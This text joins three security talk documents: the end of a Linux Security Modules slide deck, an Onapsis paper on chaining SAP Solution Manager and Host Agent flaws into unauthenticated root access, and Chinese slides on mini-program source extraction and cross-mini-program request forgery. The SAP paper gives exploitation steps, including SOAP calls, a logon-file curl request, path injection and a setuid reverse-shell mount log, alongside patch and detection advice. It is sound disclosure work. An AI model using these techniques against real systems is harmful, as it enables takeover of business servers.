Biondi Implementations Exisiting projects | LSM 43 Linux Security Modules : to be included in 2.5 ▶ Kernel Summit 2001 : Linus decides that linux should support security enhancements ▶ LSM patch is a set of hooks in the kernel syscalls ¯ Linux kernel provide the enforcer component ▶ Modular enough for the decider component to become a LKM CARTEL SÉCURITÉ — Philippe Biondi The End 44 That’s all folks. Thanks for your attention. You can reach me at <[email protected]> These slides are available at http://www.cartel-securite.fr/pbiondi/ CARTEL SÉCURITÉ — Philippe Biondi
pdf
An Unauthenticated Journey to Root : Pwning Your Company’s Enterprise Software Servers Yvan Genuer Onapsis [email protected] Pablo Artuso Onapsis [email protected] 1. Abstract Companies consist of a plethora of software, hardware, vendors, and solutions working to- gether to keep the business running and alive. When it comes to Enterprise Software, because of its intrinsic criticality and complexity, com- panies rely on expert vendors in the field. SAP, one of the largest Enterprise Software vendors, is definitively part of this list. With huge pres- ence around the globe, SAP systems could be found in almost every mid-to-large company providing one of the most critical actions: Ad- ministrating the company’s business. This paper will illustrate an in-depth anal- ysis performed against one of the most im- portant assets of every company: its SAP im- plementation. All phases of the research will be depicted, starting from the introduction of each analysed component, continuing with the techniques that helped us find the vulnerabil- ities, up to discussing all security measures that could be followed in order to be protected against them. Furthermore, post exploitation scenarios will be discussed which will help to better illustrate the impact that the found flaws could have, not only in technical but also in business terms. 2. Keywords SAP, Enterprise Software, RCE, root, Solution Manager, SolMan, Host Agent, CVE-2020-6207, CVE-2020-6234, CVE-2020-6236 3. Acknowledgements To our leader, Nahuel D. Sánchez, who helped us throughout the research, providing support, sharing discussions and pushing us in order to get the best out of ourselves. 4. Introduction Enterprise software is one of the most impor- tant topics when discussing about company’s assets. They usually manage sensitive and crit- ical information. It is because of this reason that companies opt for experts in the field to trust one of their most critical assets. SAP is one of the largest vendors of Enterprise Soft- ware. They have been successfully develop- ing business applications for almost 50 years. With more than 450k customers and presence in more than 180 countries, is possible to be- lieve that almost every mid to large company today is using SAP systems for keeping its business up and running. The list of products that SAP offers is very ex- tensive. Customers may choose which product to use based on their particular needs. How- ever, there is one particular solution that will be present in every customer network: SAP Solution Manager (SolMan). This paper is the outcome of an extensive security research performed against the SAP Solution Manager: the core component of every SAP implementation. A completely practical attack which leverages not only the power of SolMan but also the relation with its agents will be presented. 1 4.1. Solution Manager In SAP landscapes, the SAP Solution Manager (SolMan) could be compared to a domain con- troller system in the Microsoft world. It is a technical system that is highly connected with powerful privileges to all other SAP systems. Once an SAP system is connected to the solu- tion manager it receives the name of "managed" or "satellite" system. As an administration so- lution, SolMan aims to centralize the manage- ment of all systems within the landscape by performing actions such as implementing, sup- porting, monitoring and maintaining the enter- prise solutions. 4.2. SMD Agent If an SAP customer wants to fully utilize the capabilities of the Solution Manager, they must install an application called Solution Manager Diagnostic Agent (SMDAgent) on each host where an SAP system is running. This Agent manages communications, instance monitor- ing and diagnostic feedback to the Solution Manager. From the operating system perspec- tive, the unique user involved in all SMDAgent activities is daaadm. 4.3. Host Agent The SAP Host Agent1 is a component installed automatically during the installation of a new SAP system. It is OS and database indepen- dent, and it can accomplish several life-cycle tasks such as: • Monitoring • Start/Stop instances • Preparing for upgrade 5. Architecture From an architecture point of view the Solution Manager, as explained before, is connected to every single system within the landscape. As 1https://help.sap.com/doc/saphelp_nw73ehp1/7.31.19/en- US/48/c6f9627a004da5e10000000a421937/content.htm usually every managed/satellite system use the full capabilities of SolMan, the SMDAgent could be found in every server where they are running. Finally, the SAP Host Agent is a solu- tion that could be used for both SAP and non- SAP applications. Nevertheless, every SAP application will have this agent running within its server. To summarize it and visualize it in a more graphical way, the following image can be used as an example: Figure 1: Example architecture including Solution Man- ager, SMD Agent and Host Agent. This picture shows an SAP landscape com- posed by 4 systems (one Solution Manager, 3 managed systems) running different operating systems and different SAP NetWeaver stacks. As can be seen in the image, the SolMan is con- nected to every other system. SMD and Host agents are present in all servers (including Sol- Man itself). 6. Solution Manager Analysis 6.1. Motivation There were several reasons why the Solution Manager was a interesting target for an in- depth analysis of its security. Among all them, it is possible to highlight the following two: • It is an hyper-connected system: It is con- nected to all other systems in the same landscape. • Every SAP implementation must have one. Finding any issue in such critical asset would potentially imply an impact on some other sys- tem of the landscape. The main objective was: 2 First to demonstrate if there was a way for an attacker to take control on the system and second, understand how deep they could go. 6.2. Initial Phase One of SolMan’s components is the web server part of the Java stack. As every other SAP solution running on top the NetWeaver Java technology, several applications, services and functionalities are provided through it. For in- stance, to perform configurations on the SMD Agents, a particular application running on this web server must be used. The initial phase of the Solution Manager analysis involved reviewing the exposed ap- plications and web services with the goal of identifying those which did not require authen- tication. Even though authenticated ones may also be vulnerable, the impact of an unauthen- ticated exposed application would be naturally higher. Looking for unauthenticated applications This search focused mainly on application and web services exposed by default. In order to find them, the following approaches were fol- lowed • Log analysis, with the goal of finding pre- vious communications. • Configurations analysis, with the goal of finding apps and their exposure based on configurations written either in files or in the database. • Documentation analysis. After an initial phase of discovery a list of candidates applications was identified and ready to be analysed. Among this list, there was one that was worth to be analyzed: End- user Experience Monitoring (EEM). 6.3. Unauthenticated application dis- covery: EEM Once this potential vulnerable endpoint was identified an intensive analysis on it began. Based on online documentation, self testing, and more, it was possible to understand the goal and nature of this application. The End user Experience Monitoring appli- cation allows to mimic any activity that could be performed by an end-user using proprietary SAP protocols such as: RFC, DIAG or HTTP protocols. From a technical point of view, in order to achieve such actions, scripts of the aforementioned protocols can be developed, uploaded and executed against other systems. Despite the fact that EEM runs in the Solu- tion Manager, the actual execution of the up- loaded/deployed scripts is carried out by an EEM Robot; A system that is running a tiny Java application which knows how to interpret and execute these scripts. By default, every SMD Agent connected to the Solution Man- ager could act as an EEM Robot. From now on, the concept of SMD Agent or EEM robot will be used indistinguishably. In summary, these are the steps that are car- ried out: 1. SAP administrator gets a script (either by developing it or asking somebody else to do it). 2. The admin chooses the EEM Robot where the script will be deployed. 3. Once the script is deployed, the EEM robot executes. As it was mentioned before, this application was not requiring authentication. That was the reason why the following questions came up: • Is this application able to be used without neither authentication nor authorization? • Is there any critical action that could be performed through scripts? 6.4. EEM Technical Analysis Technically speaking, EEM was a SOAP end- point. Once its WSDL was retrieved and parsed, a set of 19 methods were available to be called. Among these methods it was possible to find: 3 • getAllAgentInfo • runScript • setAgeletProperties • uploadResource A quick test to ensure that action could be performed without authentication was per- formed. Using SOAP UI2 the method run- Script was executed. This method required two parameters: the EEM robot host and script name. As explained before, all SMD Agents are EEM robots by default. At that point, a valid script name was unknown, that’s why the following values were used: • EEM robot host: A valid SMD Agent host • Script name: "Foo" The answer received by the server was not the one expected: <errorMessage>com.sap.smd.eem.admin.Eem- Exception: EEM is not enabled on this agent. Operation only supported when EEM is enabled.</errorMessage> The returned message was not giving any kind of information related to the question of "Is this application able to be used without nei- ther authentication nor authorization?". More- over, it added a new one: If this application comes deactivated by de- fault, should an administrator explicitly en- able it? Remotely enabling EEM without authentica- tion The result obtained from the previous test, forced to continue with the analysis of exposed methods. "Getter" methods are usually eas- ier to execute when the application is a bit unknown as sometimes they do not require pa- rameters and return back information that may be valuable. This case was not the exception. Among all the listed methods, there was one called getAllAgentInfo. This method did not require any parameter, therefore was easy to execute. 2https://www.soapui.org/ Just because of having an answer from the execution of getAllAgentInfo, confirmed the idea that neither authorization nor authentica- tion was needed to use the application. And therefore, the first vulnerability could be con- firmed. Once executed the information returned was really interesting: • OS version • JDK version • Environmental information (variables, configs) • EEM properties EEM properties held configuration directly related with the application in a key-value fash- ion. Among all those properties there was a really interesting one: • ... • eem.enable = False • ... The name of this property led to a new search over the methods in order to try to find a way to change this value. After a quick search the method setAgeletProperties appeared to be a candidate. The idea behind it was to try to activate the EEM through changing its value to True. setAgeletProperties required three parameters: • EEM robot host. • Key. • Value. The test used a valid SMD Agent host as EEM Robot host, "eem.enable" as Key and "True" as Value. Once this execution was ac- complished, getAllAgentInfo was launched again. This time the value of eem.enable was "True". In order to definitively confirm that the change worked, the first test was re-executed. The method runScript was called with the same parameters as before but this time the message was different: <errorMessage>com.sap.smd.eem.admin.Eem- Exception: Script foo_script not found. </errorMessage> 4 This message confirmed that EEM was en- abled and ready to be used by anyone without ever providing neither authentication nor au- thorization. However, what was the impact of having such an application accessible to any- one? In order to answer this question it was necessary to make a more in depth analysis of the features provided by it. Uploading and running custom scripts One of the main goals was to find the way of creating custom scripts, upload them and get them executed. Until this point, thanks to the previous analysis, it was known how to run a script that was already present in some SMD Agent. It was necessary to find a way to upload any arbitrary script. Among all functions exported by the end- point, there was one called uploadResource. This function required several parameters. The most important ones were: SMD Agent host and Content. The latter had to be base64 en- coded. The first test was to encode some ran- dom string and upload it in order to see if the returned message was giving some informa- tion. The test was kind of successful as the returned message was: <errorMessage>FatalError validating XML document: Content is not allowed in prolog</errorMessage> Analysing the error message it was possible to realise that the content of the scripts should be XML. With the help of documentation found on the Internet[1], along with resources provided by the application itself, a more in-depth un- derstanding of the application was achieved. Recalling what was mentioned in section 6.3, several protocols were able to be scripted: RFC, DIAG, HTTP, SOAP, etc. In order to build and create your own scripts in a more friendly way, SAP provides a tool called EEM Editor. Un- luckily, the power of this tool was leveraged after the analysis was finished. Among all files provided by the application itself, there was an example of an HTTP script. This example script was really valuable for the research as it was helpful to understand more about the protocol and how scripts were actu- ally written. Whenever an invalid script (incorrect tag, syntax error, etc) was uploaded, a really de- tailed error message was returned. For exam- ple: Error validating XML document: Invalid content was found starting with element 'blahblah'. One of '{Annotation, Headers, Param, Check, Search, Part}' is expected Modifying the aforementioned example script plus leveraging the error messages re- turned, it was possible to create a custom script that was able to perform arbitrary HTTP re- quests. As EEM scripts are executed by EEM Robots, this meant that a Server Side Request Forgery could be achieved. The possibility of executing arbitrary HTTP requests was enough to illustrate the impact of this unauthenticated application. This vulnera- bility was identified with CVE-2020-6207. However, we wanted to understand how far an attacker could go in terms of exploitabil- ity. Until this point, it was possible to execute any type of script, but ... what actions can be scripted? Is it possible to execute OS com- mands?. In order to find the answer to these questions it was necessary to better understand the scripting language and its capabilities. Understanding and exploiting the scripting language Besides having all the available documenta- tion online for the aforementioned scripting language, it was needed to go deeper in tech- nical terms. Until this point, every part of the research was done in a Black-box style. Lever- aging access to Solution Manager’s OS files, the analysis shifted to a White-box approach. Among all files related to the EEM applica- tion, there was one called Config1.1.xsd. This schema file, defined the structure the scripting language had to follow: Fields, Type of Fields, Tags, etc. This discovery allowed to deeply un- 5 derstand how this language was designed and how to get the most of it. It was a message-type language based on XML. Each script could have one or several transaction steps. Each step could be made of one or multiple messages. According to the schema file, each message must had one of the following types: • Think • Reset • ServerRequest • Command The third one was the type used by the SSRF script explained in the previous section. The last one, command, seemed to be interesting to analyze. Based on online documentation and some local analysis of files, it was possible to list all available commands: • Assign • AssignJS • AssignFromList • AssignFromFile • WriteVariableToFile • ReadVariableFromFile The reason why this scripting language had commands available to be executed, was basi- cally to provide support for some actions that may be out of scope of the language itself. It was possible to execute any HTTP script, but unless having extra features (provided by com- mands in this case) it would be impossible to store data persistently or share data between several scripts. An in-depth analysis started in each of these commands looking for any flaw that may end up in a potential vulnerability. After several tests creating new scripts that made use of each of them, it was discovered that AssignJS was vulnerable to code injection. Seemed that AssignJS, was evaluating any arbitrary piece of JS code that was sent inside a parameter of the script, without executing any prior sanitization. Given that the applica- tion in charge of executing the script (part of the SMDAgent) was written in java and that this command was evaluating Javascript code, it is possible that the flaw was related to the ScriptEngine API[2]. Below is an example of a vulnerable function to illustrate this flaw: private String ExecuteCommand( final String expression ) { final ScriptEngineManager manager = new ScriptEngineManager ( ) ; final ScriptEngine js_engine = manager . getEngineByName ( " j s " ) ; final String res = engine . eval ( expression ) ; return res } With the appropriate payload this could lead an attacker to have a Remote Code Execu- tion. Due to this payload is directly obtained from the script itself it meant that any unau- thenticated attacker could be able to exploit it. Additionally, as the scripts were executed by the Java application running in the SMD Agent, the commands run with the privileges of the daaadm user. As explained in section 4.2, daaadm was the OS layer user of the SMDA- gent component, which means the attacker would be able to full compromise it. 6.5. Conclusions As a summary, two vulnerabilities were found: 1. Authentication bypass of EEM application. 2. Remote Code Execution abusing specific commands. Figure 2: Unauthenticated attacker compromises every SMDAgent connected to the Solution Man- ager. 6 Chaining both vulnerabilities, as shown in 2, would allow an unauthenticated attacker to gain full control over all SMD agents connected to the Solution Manager. 6.6. Staying protected The following section will illustrate some rec- ommendations and actions that should be fol- lowed in order to detect attacks and protect systems from unauthorized attackers. Applying patches Due to the fact that both attacks presented in section 6 are based on vulnerabilities, the best way to be protected against them is by patching. In March 2020, SAP released a patch that will protect the Solution Manager against both flaws (authentication and injection): Note Title CVSS 2890213 [3] Missing Authentication Check in SAP Solution Manager (User-Experience Monitoring) 10 Table 1: SAP Security notes related to SolMan vulnera- bilties SAP security note 2890213[3], provides new versions of the affected component which will guarantee protection against the discussed flaws: Component Sup package Patch Level SOLMAN DIAG 720 SP004 000012 SP005 000013 SP006 000014 SP007 000020 SP008 000016 SP009 000008 SP0010 000002 Table 2: Solution Manager patched versions It is strongly recommended to install the ap- propriate patched version as soon as possible. Nevertheless, if for some reason it is not pos- sible to install it, SAP provided a step by step guide to manually add authentication to the application. To find this guide please refer to the SAP security note 2890213[3]. This "partial" fix should be treated as a temporary solution until it is possible to install the full patch. The reason to believe this is because it will only force authentication but will not provide any protection against the injection flaw. In other words, any authenticated attacker will still be able to launch the attack. Networking protection measures Installing the patches should be the first step towards being protected against the presented attack. However, there are other types of mea- sures at different levels that can help to miti- gate and reduce the attack surface. The SAP Solution Manager it is a technical component that should only be accessible by SAP Administrators. There is no need for final users to have access to it. Therefore, limit who can reach the SolMan from a networking point of view will cause: • An extremely reduced attack surface, as only Administrators will have access. • A protection to potential future vulnerabil- ities. For instance, If in the near future a new flaw in another application is found, attackers will not be able to exploit as they will not have access to it. The Solution Manager, despite not having business data, it is a critical system due to its highly connected architecture with other SAP systems. Therefore, it is strongly rec- ommended to keep it as secure as possible, not only through installing patches but also through any other method that could help to keep it protected. Detection of incidents In case there is a need to investigate if some- thing already happened or to monitor actions 7 in order to detect an attempt of attack, SAP provides a way to help with it. It is possible to activate a particular log which will start log- ging all actions performed by the EEM applica- tion. To manage the server’s log configuration, SAP provides a particular application called log-config[4], part of the SAP Netweaver Ad- ministrator (NWA). In order to activate the log for the EEM application, the tracing location com.sap.smd.eem.admin.EemAdminService should be searched. Once located, the severity level should be selected (info level is rec- ommended). The target file where the logs will be written, is defined under the System Configuration view. After executing the aforementioned steps and saving changes, a new entry will be writ- ten to the target defined file (defaultTrace" by default) each time an action is performed by the EEM. 7. Host Agent Analysis 7.1. Motivation There were several reasons why this compo- nent was interesting from a security point of view. Some of them were: 1. There were two services associated with this component, running with very high priv- ileges: Root for unix-like systems / NT AU- THORITY/System for Windows systems: $> ps -ef | grep hostctrl root 92067 hostctrl/exe/saphostexec[...] sapadm 92072 hostctrl/exe/sapstartsrv[...] root 92338 hostctrl/exe/saposcol[...] 2. It seemed possible to communicate with this agent through port 1128 (exposed to all interfaces): $> ss -larntp | grep 92072 LISTEN 0 20 *:1128 *:* users:(("sapstartsrv",pid=92072,fd=18)) 3. The user "daaadm" was mentioned in the SAP Host Agent configuration file, as value of a very promising parameter "service/ad- min_users". $> grep daaadm hostctrl/exe/host_profile service/admin_users = daaadm At this point, a vulnerability that may al- low an unauthenticated attacker to get daaadm privileges on every SAP host was already found. The idea behind analyzing this com- ponent was to try to find a way to escalate privileges from daaadm user to root/system user. 7.2. Powerful agent.. with restricted access ! During a legit use of SAP Host Agent, local administrators or root users would communi- cate with the agent using the binary saphostc- trl. This binary, part of Host Agent binaries, works as a wrapper allowing to execute all Host Agent functions. Below are some names of those functions: StartInstance StopInstance StartDatabase StopDatabase ExecuteOperation ACOSPrepare ExecuteInstallationProcedure Table 3: Some functions exposed by SAP Host Agent Inside the Host Agent OS directory, there was a file called host_profile. This profile stores several configurations (in a key-value fashion) of the Agent. Among all these configurations, there was a parameter called service/admin_users, whose objective is to whitelist all additional local OS users autho- rized to communicate with the Host Agent. As explained in 7.1 daaadm user was part of this list, which meant that this user would be able to communicate with the sapstartsrv process. However, after trying to execute some of its functions, it was discovered that being logged as a whitelisted user was not enough. 8 Even for this list of users, like daaadm, they must provide their password when calling the saphostctrl binary. Therefore even in the sce- nario where an attacker uses the SolMan to execute commands as daaadm, it will not be possible to communicate with the Host Agent as they would not know the password. 7.3. SOAP Friendly Agent Another configuration parameter present in- side host_profile was service/porttypes. This configuration basically states all web services that are exposed by the sapstartsrv (port 1128). By default, three are remotely accessible: SAPHostControl, SAPOscol and SAPCCMS. After some analysis it was determined that SAPHostControl was the equivalent of the bi- nary saphostctrl. In other words, by only using HTTP SOAP requests, it was possible to call all functions provided by the Host Agent. Again, even locally, all requests required authentica- tion. An extensive research over the saphostctrl binary was performed to finally realized that every action done with this wrapper was pro- ducing HTTP requests to localhost on port 1128. This meant that the binary itself was using the web service running on port 1128. With the objective of understanding how everything was working, an analysis of the traffic was performed through sniffing the local network interface of the SAP system. The first analyzed HTTP request already gave some interesting outcomes: POST /SAPHostControl.cgi HTTP/1.1 Content-type : text/xml;charset="utf-8" Authorization: Basic ezJENEE2RkI4LTM3RjEtNDN kNy04OEJFLUFEMjc5Qzg5RENEN306MjcwMjI4MjQ0MzE zNzIzNDYzNDUyMjg4MTI2NDIzMDQ3NDY3MTUwMg== Soapaction: "" User-Agent: JAX-WS RI 2.1.6 in JDK 6 Host: target:118 [...] The authorization header was not empty. Its decoded value was: {2D4A6FB8-37F1-43d7-88BE-AD279C89DCD7}: 2702282443137234634522881264230474671502 After some more tests it was found that al- though the user remains always the same, the password (that "list" of numbers), changed at every single HTTP request. It seemed to be im- portant to further understand what was going on, and therefore it was decided to look deeper into the Host Agent kernel to learn from where these passwords came from. 7.4. Internal Trusted Connection Using the hardcoded username as an entry point for the analysis, it was discovered that a special feature exists inside the Host Agent. From now on, this feature would be referred as "Internal Trusted Connection". After carefully analyzing this feature, it was possible to determine how it worked: 1. Only whitelisted users (parameter ser- vice/users_admin) are able to use it. 2. These users are able to request, only lo- cally, a logon file using the method Re- questLogonFile exposed by the SAPHost- Control web service. 3. The Host Agent generates a temporary password into a temporary file (only read- able by the caller user) located in /usr/s- ap/hostctrl/work/sapcontrol_logon and provides the path and name to the as re- sponse of the request executed in the pre- vious step. 4. The initial requester (user), reads the con- tent of the file to get the password. 5. The user can perform one request, and only one, using the hardcoded username and this temporary password. Below there is an example of how this fea- ture can be used: 1. The whitelisted used sends a request to the SAPHostControl web service with the appro- priate parameters: 9 saphost:daaadm 54> curl -skL -X POST http://localhost:1128/SAPHostControl.cgi -H 'Content-Type: text/xml;charset=utf-8' --data '<?xml version="1.0" [...] <ns2:RequestLogonFile> <user>daaadm</user> </ns2:RequestLogonFile> [...]' | xmllint --format - 2. The user gathers the filename from the response of the request made in step 1. <?xml version="1.0" encoding="UTF-8"?> [...] <SAPHostControl:RequestLogonFileResponse> <filename>/usr/sap/hostctrl/work/sapcontrol_ logon/logon1</filename> </SAPHostControl:RequestLogonFileResponse> [...] 3. Finally, only the user is able to read that file, which has a temporary password just avail- able to be used by that particular user: saphost:daaadm 55> ls -lrht sapcontrol_logon -rw------- 1 daaadm sapsys 40 Jun 30 logon1 saphost:daaadm 56> cat logon1 4061453350048328991129491560313810236108 The conclusion of this finding is that the daaadm user can use this feature to call every function exposed by the Host Agent. There- fore, knowing the password of daaadm was not required anymore. Chaining this finding with the vulnerability explained in section 6 means that any unauthenticated attacker with access to the SolMan could finally execute ev- ery method of every Host Agent running in the same host as an SMD Agent. 7.5. Analyzing HostControl functions Until this point it was possible to use the ex- posed functions using the user daaadm. How- ever, it was important to further investigate the actual actions that those functions were able to perform. Some of the functions ex- posed seemed to be dangerous (StopInstance, StopDatabase, etc). Nevertheless, the main ob- jective was to try to find a way of executing commands as root or system user. After a careful analysis of each of the func- tions exposed, it was possible to identify sev- eral of them that were vulnerable to command injection. Although these functions required OS authentication, they were finally executing commands as root. Therefore this injection could lead to a privilege escalation. Following sections will illustrate in a more detailed way just a few examples of vulnerable functions. ExecuteOperation This function, under certain circumstances and after a few prerequisite checks, tried to ex- ecute "./saphostexec -upgrade" command as root. However, the path to saphostexec is con- trolled by the attacker and it is not sanitized. Therefore, an attacker with the necessary privi- leges to use this function could trick this path, allowing the execution of any arbitrary script or binary as long as the name remains the same. Log output of a successful attack: [..]CommandManager::StartOSCommand: start ./saphostexec [..]No user configured. Current user will be used. [..]Working directory will be change to '/usr/sap/../../tmp/attacker' ExecuteInstallationProcedure This function executes several OS commands as root before launching the SAP installer tools, called "sapinst". Again, the path to the sapinst binary could be controlled by an attacker, al- lowing the execution of any arbitrary script or binary as long as the name remains "sapinst". Log output of a successful attack: 10 [..] PID 9162: root: Executing command "mkdir -p -m 0770 /tmp/attacker/sapinst3" [..] PID 9163: root: Executing command "chown sapadm:sapinst /tmp/attacker/sapinst3" [..] PID 9164: root: Executing command "mv /usr/sap/hostctrl/work/eip_3HeFAw /tmp/attacker/sapinst3/inifile.xml" [..] PID 9165: root: Executing command "chgrp sapinst /tmp/attacker/sapinst3/ inifile.xml" [..] PID 9166: root: Executing command "chmod 0660 /tmp/attacker/sapinst3/ inifile.xml" [..] PID 9168: root: Executing command "/tmp/attacker/sapinst [..] ACOSPrepare This function’s purpose is to perform sev- eral tasks to prepare for special OS operation. Among other actions, it tries to mount a file system with administrator privileges. An at- tacker can control the source path of this file system and provide, for instance, a malicious one with a setuid revershell into it. Log output of a successful attack: OSP-0121: Mounting network file system /tmp/attacker/test.fs -> /tmp/mnt OSP-0301: Calling SAPACOSPrep platform library function 'AcAttachNetfs' LNX-0121: File system successfully mounted OSP-0310: Library function returned successfully OSP-0200: Operation succeeded saphostcontrol: exitcode=0 saphostcontrol: 'sapacosprep' successfully executed [...] Afterwards checking if this file was created: target:daaadm 57> ls -larht /tmp/mnt total 20K drwxrwxr-x 3 root root 4.0K . drwxrwxr-x 17 root root 4.0K .. -rwsrwxrwx 1 root root 8.8K revershell target:daaadm 58> /tmp/mnt/revershell All vulnerabilities and their exploitation mechanisms, work against Unix-like operating systems as well as against Windows. 7.6. Conclusion The attacks presented in the previous section required an authenticated user that must also be part of the service/users_admin whitelist. Abusing the injections vulnerabilities found, this user would be able to escalate privileges and end up running commands with root priv- ileges. As was shown in section 7.1, daaadm was part of this whitelist. Furthermore, recalling section 6.5, any unauthenticated attacker was able to execute commands as daaadm. Chaining both findings it is possible to con- clude that any unauthenticated attacker with network access to SolMan’s web server, will finally be able to execute commands as root in every server where a managed/satellite system is running. Figure 3: Unauthenticated attacker compromises every server connected to SolMan as they are able to execute commands with root/system privileges. 7.7. Staying protected Applying patches During April 2020, SAP released two patches involving the SAP Host Agent. These patches provided protection against the injections found in several functions of the Host Control web service. Both patches provided safe versions of the affected components. In particular, for the SAP Host Agent, the provided version is: Once this version is installed, the escalation of privileges detailed in the aforementioned section will not be able to be used anymore. Besides installing the mentioned patches, due 11 Note Title CVSS 2902645 [5] Privilege Escalation in SAP Host Agent 7.2 2902456 [6] Privilege Escalation in SAP Landscape Management 7.2 Table 4: SAP Security notes related to Host Agent vul- nerabilities Component Support Package SAP HOST AGENT 721 46 Table 5: Patches related to Host Agent vulnerabilities to being a critical and powerful agent, it is recommended also to keep it up to date by following these SAP notes: Note Title 2219592 Upgrade Strategy of SAP Host Agent 2130510 SAP Host Agent 7.21 Table 6: SAP Security notes related to Host Agent vul- nerabilities Finally it is also important to advise that up- grading the SAP Host Agent is way more easy than upgrading an SAP System. It is a "little" technical component, without customizing and totally independent of the SAP System with its critical business data. 8. Impact A successful attack will mean that the unau- thenticated attacker will have total control over every SAP system in the landscape. From a technical perspective, the unauthen- ticated attacker will have a root/system access to every server where an SAP system is run- ning. This means that it will not only be able to compromise SAP related data, but also go beyond that and potentially compromise any other information or system running in the same server. From a business point of view, this means a total compromise of every business data a system could hold. On every single SAP Sys- tem connected to SolMan, the attacker could perform classical post exploitations techniques and compromise every business record. To bet- ter illustrate the impact, these are a few exam- ples of actions that the attacker could perform: • Espionage: Obtain customers, vendors or human resources data, financial planning information, balances, profits, sales infor- mation, manufacturing recipes, etc. • Fraud: Modify compliance processes, modify financial information, tamper sales or purchase orders, create new vendors, modify vendor bank account numbers, etc. • Sabotage: Paralyze the operation of the organization by shutting down the SAP system or the complete server, disrupting interfaces with other systems and deleting critical information, etc. 9. Conclusions Specifically speaking about the presented at- tack, it was demonstrated how an unauthenti- cated attacker having access to SolMan’s web server, was able to fully compromise every server of a system connected to the SAP land- scape by being able to execute commands with system/root privileges on it . The Solution Manager is a critical part of every SAP landscape and must be treated as it. Complementary security measures in or- der to protect it, such as network segregation, should be in place since its deployment. Fur- thermore, processes to quick and successfully apply patches for critical assets like SolMan, should be configured and maintained. Generally speaking, hyperconnected systems play a central role in terms of security as they could act as entry points for more complex attacks. Once a system of this type is compro- mised, attackers could leverage their intercon- 12 nections in order to spread themselves through the network and extend their level of compro- mise. As a final conclusion, ERP security has been improving towards a more secure state during recent years. However, as any other software, it has and will continue having flaws that may end up having critical impact. It is important to continue performing security analysis against them in order to detect and prevent them from being exploited in the wild. References [1] https://wiki.scn.sap.com/wiki/display/EEM/UXMonHowTo [2] Web security: A Whitehat Perspective (199) [3] https://launchpad.support.sap.com/#/notes/2890213 [4] https://help.sap.com/viewer/8c44f49685f44be4aa420bbf6393aeea/7.5.6/ en-US/47af551efa711503e10000000a42189c.html [5] https://launchpad.support.sap.com/#/notes/2902645 [6] https://launchpad.support.sap.com/#/notes/2902456 13
pdf
www.dbappsecurity.com.cn 百举百捷: 红队视角下又一个突破口, 再看大国独有小程序 2020.6.16/Poc Sir À propos de moi 关于我 Poc Sir [email protected] 雷神众测以及其他平台专业打酱油白帽子 Hack Inn « www.hackinn.com » 安全议题分享平台运营者 安恒信息实习4年的最长实习生,未来仍将实习 目前一直呆在法国,欢迎大家来找我思考美食、人参 喜欢聊聊两岸三地,微博号挺多的红V、蓝V、橙V、没V都有 Contents 目录 小程序概览 01 获取小程序源码 02 初探好玩的CMRF漏洞 03 小程序的特有API漏洞 04 05 第三方那些事 小程序概览 01 小程序他🔥吗? —— 太火了 “后疫情时代”海外人员归国离不开“防疫健康码国际版” 当你在微信分享“微博”“百度网盘文件”时离不开对应小程序 他已经慢慢的渗透进了我们的互联网生活…… 那他为什么能火呢? 1.强大的平台依托,谁不用微信&支付宝 2.方便、轻量,好东西为啥不用? 3.各方重视,大力发展,互联网时代潮流 字节跳动 百度 京东 阿里巴巴 腾讯 今日头条 西瓜视频 抖音 皮皮虾 百度APP 京东APP 京东金融 京麦APP 高德导航 UC浏览器 淘宝 支付宝 微信 QQ QQ浏览器 哪些平台有小程序生态? 单纯在小程序平台层面我们能做什么? 资产搜集! 信息搜集! 快速搜索企业小程序 判别资产归属 轻松获取子域名 脚本源 码自取 🐎######🐎 自己送上门的信息 获取小程序源码 02 安卓保存路径:/data/data/com.tencent.mm/MicroMsg/{用户ID}/appbrand/pkg/ IOS 保存路径:/var/mobile/Containers/Data/Application/{程序- UUID}/Library/WechatPrivate/{用户ID}/WeApp/LocalCache/release/{小程序ID}/ .wxapkg文件 IOS 保存路径: /var/mobile/Containers/Data/ Application/{程序- UUID}/Documents/NAMAPP_ UNZIP/{随机ID}/ 未加密压缩包 还原小程序 xml (axml 阿里、wxml 微信、jxml 京东) & css (acss、wxss、jxss) & js & json 不见了!! 多出来的HTML文件是啥? 为啥打开之后一片空白? 你是谁?你变了, 变的开发者工具都不认识你了 支付宝小程序 微信小程序 index.js (页面名称).html wxss文件 acss文件 支付宝小程序 微信小程序 index.woker.js app-service.js js文件 js文件 支付宝小程序 微信小程序 appConfig.json app-config.json json文件 json文件 支付宝小程序 微信小程序 page-frame.html index.js wxml文件 axml文件 初探好玩的CMRF漏洞 03 看不见却实际存在的页面路径 可传入数据但又无法直接修改 pages/archives/detail.html?id=492&title= HackingDay 2019 HangZhou CMRF 跨小程序请求伪造漏洞 (Cross MiniAPP Request Forgery) 利用小程序对用户在对应平台上身份的 信任,在获取页面传入的参数之后结合 用户已经登录的身份信息向小程序后端 发送对应的数据包,从而使用户在无意 间完成一次具有危害性的请求操作。 /pages/my/changepwd.html ?newpwd=新的密码 输入密码点击修改 https://example.org/user/changepwd.do? password=新密码&token=用户身份信息 构造恶意分享内容 …?newpwd=Abc123 诱导 点击 CMRF 完整 拟真 利用 Title:决定页面描述 Des:决定小程序标题 Pagepath: 决定小程序页面 路径以及传入参数内容 alipays://platformapi/startapp?appId=小程 序ID号&page=urlencode之后的页面数据 /pages/index/thorsrc?date=616&whoami=Poc-Sir …… baiduboxapp://swan/小程序ID号/?传入页面数据 dingtalk://dingtalkclient/action/open_mini_app?miniApp Id=appid&page=页面?传入数据内容 支付宝调用 视频DEMO 小程序的特有API漏洞 04 微信 字节跳动 支付宝 第三方那些事 05 第三方一键生成平台 第三方后台管理平台 第三方管理平台插件 第三方小程序端插件 第三方小程序端JDK 第三方开发账户授权 www.dbappsecurity.com.cn 谢谢观看 Merci beaucoup!
pdf
